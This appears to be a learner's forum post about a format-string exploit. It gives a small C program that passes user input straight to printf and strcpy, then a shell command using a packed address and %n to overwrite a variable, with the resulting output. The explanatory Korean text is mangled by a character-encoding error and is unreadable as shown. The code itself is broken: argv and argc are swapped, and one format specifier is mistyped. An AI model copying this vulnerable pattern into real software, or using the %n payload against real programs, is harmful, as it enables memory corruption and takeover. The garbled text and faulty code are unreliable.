/*
fmt3_superdk.c
*/
#include <stdio.h>
#include <stdlib.h>
int main( int argv, char *argc[]){
static int i = 0;
char str[128];
strcpy( str, argv[1]);
printf( str );
printf("\ni=&p, i=%d\n",&i,i);
}
ÀÌ ÇÁ·Î±×·¥À» ¸®´ª½º¿¡¼
./fmt3_superdk $(printf "\x84\x94\x04\x08")%8x%8x%8x%n
¸Þ¸ð¸® ÁÖ¼Ò .. .. .. .. .. ..
i=0x8049484, i=28
ÀÌ·¸°Ô ½ÇÇàÇߴµ¥ $(printf "\x84\x94\x04\x08") ¿©±â ÀÌ°Ô ÀÌ ÁÖ¼Ò¿¡ µ¤¾î ¾´´Ù´Â °Ç ¾Ë °Í °°Àºµ¥
$(´Þ·¯±âÈ£) ÀÌ ±âÈ£°¡ ¹«½¼ Àǹ̰í Àú·¸°Ô ÇÏ¸é ¿Ö Àú ÁÖ¼Ò¿¡ µ¤¾î ¾º¿öÁö´ÂÁö ¾Ë°í½Í½À´Ï´Ù. |